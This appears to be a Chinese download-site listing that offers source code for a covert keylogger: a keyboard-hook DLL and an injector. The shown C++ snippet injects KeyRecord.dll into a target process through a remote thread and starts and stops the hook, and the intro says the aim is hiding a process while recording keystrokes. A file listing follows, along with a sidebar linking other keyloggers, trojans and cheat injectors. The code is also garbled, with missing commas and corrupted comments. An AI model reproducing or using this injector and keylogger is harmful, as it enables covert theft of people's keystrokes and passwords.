资源简介
本资源分为两部分,其一是基于HOOK的是先键盘记录功能的DLL文件源代码;其二是将上述DLL注入指定进程的源代码.相关文档请在百度中搜索“远程注入DLL实现进程隐藏以及键盘记录器”查询
代码片段和文件信息
// InsertDll.cpp : 僐儞僜乕儖 傾僾儕働乕僔儑儞偺僄儞僩儕 億僀儞僩傪掕媊偟傑偡丅
//
#include “stdafx.h“
#include
#include
#include
#include
#define INDLL 0
#define OUTDLL 1
#define DLLNAME “c:\\KeyRecord.dll“
#define DLLNAME_EX “KeyRecord“
#define FUN_START_HOOK “StartHook“
#define FUN_STOP_HOOK “StopHook“
typedef struct
{
PTHREAD_START_ROUTINE fnMessageBox;
PTHREAD_START_ROUTINE fnLoadLibrary;
PTHREAD_START_ROUTINE fnFreeLibrary;
PTHREAD_START_ROUTINE fnGetProcAddress;
PTHREAD_START_ROUTINE fnGetModuleHandle;
PTHREAD_START_ROUTINE fnStartHook;
PTHREAD_START_ROUTINE fnSleep;
int LoadOrFree;
char MyDllName[32]; /* “c:\\KeyRecord.dll“ */
char MyDllNameEx[32]; /* “KeyRecord“ */
char FUN_StartHook[32]; /* “StartHook“ */
char FUN_StopHook[32]; /* “StopKook“ */
}RemotePara;
int EnableDebugPriv(const char * name);
DWORD FindTarget( LPCTSTR lpszProcess);
BOOL InOrOutDll(const char *DllFullPath const DWORD dwRemoteProcessIdconst int IOFlg);
DWORD __stdcall ThreadProc(RemotePara * lpPara)
{
typedef HMODULE (__stdcall *M_LoadLibrary)(LPCTSTR);
typedef int (__stdcall *M_FreeLibrary)(HMODULE);
typedef HANDLE (__stdcall *M_GetProcAddress)(HMODULELPCSTR);
typedef HMODULE (__stdcall *M_GetModuleHandle)(LPCTSTR);
typedef int (__stdcall *M_StartHook)();
typedef int (__stdcall *M_StoptHook)();
typedef int (__stdcall *M_MessageBox)(HWNDLPCTSTRLPCTSTRDWORD);
typedef int (__stdcall *M_Sleep)(int);
M_LoadLibrary MyLoadLibrary;
M_FreeLibrary MyFreeLibrary;
M_GetProcAddress MyGetProcAddress;
M_GetModuleHandle MyGetModuleHandle;
M_StartHook MyStartHook;
M_StoptHook MyStopHook;
M_MessageBox MyMessageBox;
M_Sleep MySleep;
MyLoadLibrary = (M_LoadLibrary)lpPara->fnLoadLibrary;
MyFreeLibrary = (M_FreeLibrary)lpPara->fnFreeLibrary;
MyGetProcAddress = (M_GetProcAddress)lpPara->fnGetProcAddress;
MyGetModuleHandle = (M_GetModuleHandle)lpPara->fnGetModuleHandle;
MyMessageBox = (M_MessageBox)lpPara->fnMessageBox;
MySleep = (M_Sleep)lpPara->fnSleep;
if(!lpPara->LoadOrFree)
{
if(MyLoadLibrary(lpPara->MyDllName)==NULL)
{
MyMessageBox(NULLlpPara->MyDllNamelpPara->MyDllName0);
return 0;
}
MyStartHook = (M_StartHook)MyGetProcAddress(MyGetModuleHandle(lpPara->MyDllNameEx)lpPara->FUN_StartHook);
if(MyStartHook == NULL)
{
MyMessageBox(NULLlpPara->FUN_StartHooklpPara->FUN_StartHook0);
return 0;
}
if(MyStartHook())
{
MyMessageBox(NULLlpPara->FUN_StartHooklpPara->FUN_StartHook0);
}
MySleep(100000000);
}
else
{
MyStopHook = (M_StoptHook)MyGetProcAddress(MyGetModuleHandle(lpPara->MyDllNameEx)lpPara->FUN_StopHook);
if(MyStopHook == NULL)
{
MyMessageBox(NULLlpPara->FUN_StopHooklpPara->FUN_StopHook0);
return 0;
}
STOP:
if(!MyStopHook())
{
MySleep(1000);
goto STOP;
}
if(!MyFreeLibrary(MyGetModuleHandle(lpPara->MyDllNameEx)))
{
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2011-01-20 14:15 KeyRecord\KeyRecord\
目录 0 2011-01-20 14:15 KeyRecord\KeyRecord\Debug\
文件 5467 2011-01-17 16:57 KeyRecord\KeyRecord\KeyRecord.cpp
文件 59 2011-01-14 16:28 KeyRecord\KeyRecord\KeyRecord.def
文件 207 2011-01-14 16:45 KeyRecord\KeyRecord\KeyRecord.h
文件 4213 2010-12-28 10:32 KeyRecord\KeyRecord\KeyRecord.vcproj
文件 1852 2010-12-22 13:44 KeyRecord\KeyRecord\ReadMe.txt
目录 0 2011-01-20 14:15 KeyRecord\KeyRecord\Release\
文件 297 2010-12-22 13:44 KeyRecord\KeyRecord\stdafx.cpp
文件 421 2010-12-22 13:44 KeyRecord\KeyRecord\stdafx.h
文件 4598784 2011-01-17 18:01 KeyRecord\KeyRecord.ncb
文件 917 2010-12-22 13:44 KeyRecord\KeyRecord.sln
文件 12288 2011-01-17 18:01 KeyRecord\KeyRecord.suo
目录 0 2011-01-20 14:15 KeyRecord\
目录 0 2011-01-20 14:15 InsertDll\InsertDll\
目录 0 2011-01-20 14:15 InsertDll\InsertDll\Debug\
文件 8565 2011-01-17 17:53 InsertDll\InsertDll\InsertDll.cpp
文件 3871 2010-12-20 19:09 InsertDll\InsertDll\InsertDll.vcproj
文件 1377 2010-12-20 19:09 InsertDll\InsertDll\ReadMe.txt
目录 0 2011-01-20 14:15 InsertDll\InsertDll\Release\
文件 297 2010-12-20 19:09 InsertDll\InsertDll\stdafx.cpp
文件 320 2010-12-20 19:09 InsertDll\InsertDll\stdafx.h
文件 4647936 2011-01-17 18:01 InsertDll\InsertDll.ncb
文件 917 2010-12-20 19:09 InsertDll\InsertDll.sln
文件 11264 2011-01-17 18:01 InsertDll\InsertDll.suo
目录 0 2011-01-20 14:15 InsertDll\
- 上一篇:液压气动图形符号库
- 下一篇:STM32 驱动SD卡 SPI协议
相关资源
- MicroKeylogger[键盘记录]补丁
- 灰鸽子键盘记录插件.rar
- 远控源码_模块_键盘记录功能齐全
- [键盘记录源码] C 语言编写的键盘记录
- 键盘钩子,无需使用DLL
- 易语言DLL注入视频教程 很难得的
- DLL注入HOOK进程按钮点击delphi
- dll注入Hook
- SetDll DLL自动注入,让EXE启动时加载自
- (开源) Ring3下的DLL注入工具 x86(
- 键盘记录器klogger
- 键盘记录器
- DLL注入测试工具
- DLL注入工具_拿破轮胎
- 基于内核的Linux键盘记录器
- 暗眼键盘记录暗眼键盘记暗眼键盘记
- Qt:Windows编程—DLL注入与卸载 demo
- 易语言防止键盘记录方法
- 一个简单的木马程序源代码,实现文
- DLL注入器---歪歪加强版万能DLL注入器
- 易语言test源码易语言远程执行源码易
- 易语言DLL注入外挂呼出全套源码
- 易语言:CF外挂DLL(dll注入器)
- 远程执行数据库的备份及删除 sql语句
- 易语言dll输入法注入
- 服务Dll注入Svchost进程
- DLL注入到进程SK5代理一源码
- 键盘记录木马源代码
- DLL注入+教程
- 键盘记录,驱动记录 HOOK记录
评论
共有 条评论